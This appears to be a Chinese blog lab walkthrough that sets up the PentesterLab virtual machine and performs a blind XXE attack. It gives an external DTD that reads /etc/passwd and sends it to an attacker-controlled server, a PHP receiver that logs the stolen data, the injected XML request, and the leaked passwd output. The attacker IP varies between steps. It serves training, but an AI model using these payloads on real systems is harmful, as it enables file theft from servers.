XXE漏洞4-XXE无回显文件读取-PentesterLab靶场搭建

发布于:2025-07-20 ⋅ 阅读:(24) ⋅ 点赞:(0)

一.PentesterLab靶场搭建(实验环境搭建)
       

介绍:PentesterLab 是一个全面的漏洞演示平台,但是它是收费的,我们这里只使用它的 xxe 演示案例。

安装 PentesterLab 虚拟机:下载好镜像:
1.打开VMware新建虚拟机,选择典型就行。

然后选择我们的镜像,下一步:

选择linux,和linux3.x不要选64位的。

下一步,然后自己调节文件保存位置:

磁盘空间默认就行:

点击自定义硬件:

我们去调一下内存,把内存调到一个g。

然后我们点击关闭再点击完成即可:

我们打开虚拟机:

输入ifconfig查看ip:192.168.112.18

我们打开浏览器,看到一下页面显示则靶场安装成功。

二.XXE无回显文件读取

实验环境描述:Kali 作为黑客并建立黑客接收和提交数据的 Web 站点,PentesterLab 作为
server 被攻击端
原理:

我们需要建立一个外部的 dtd 文件,一个用于接收数据的 php 文件,以及存储数据的数据文件。
1、建立 dtd 外部实体文件:
# cd /var/www/html/
# vim test.dtd #插入以下内容
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.112.128/xxe.php?pass=%p1;'>">
%p2;

注:% p1 定义一个参数实体,%和 p1 之间有一个空格,用于接收 file:///etc/passwd 的内
容,%p1 引用参数实体,参数实体只能在 DTD 文件中被引用。
2、建立 php 文件
└─# vim xxe.php #插入以下内容
<?php
$pass=$_GET['pass'];
file_put_contents('pass.txt',$pass);
?>

3、创建存储数据的文件
└─# touch pass.txt
4、修改文件权限
└─# chown -R www-data:www-data /var/www/html/*
5、启动 apache2
└─# systemctl start apache2
6、测试 php 文件能够正常写入数据
└─# curl http://192.168.1.53/xxe.php?pass=1
└─# cat pass.txt
1

到这里基本工作就完成了。

下面我们进入靶场点击左上角login,利用bp进行抓包。

我们修改请求:

<?xml version="1.0"?>
<!DOCTYPE e1 SYSTEM "http://192.168.1.53/test.dtd">
<foo>&e1;</foo>
改:Content-Type: application/x-www-form-urlencoded
为:Content-Type: text/xml

放包就行。

我们就成功带外出了etc/passwd的内容:

root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
 


网站公告

今日签到

点亮在社区的每一天
去签到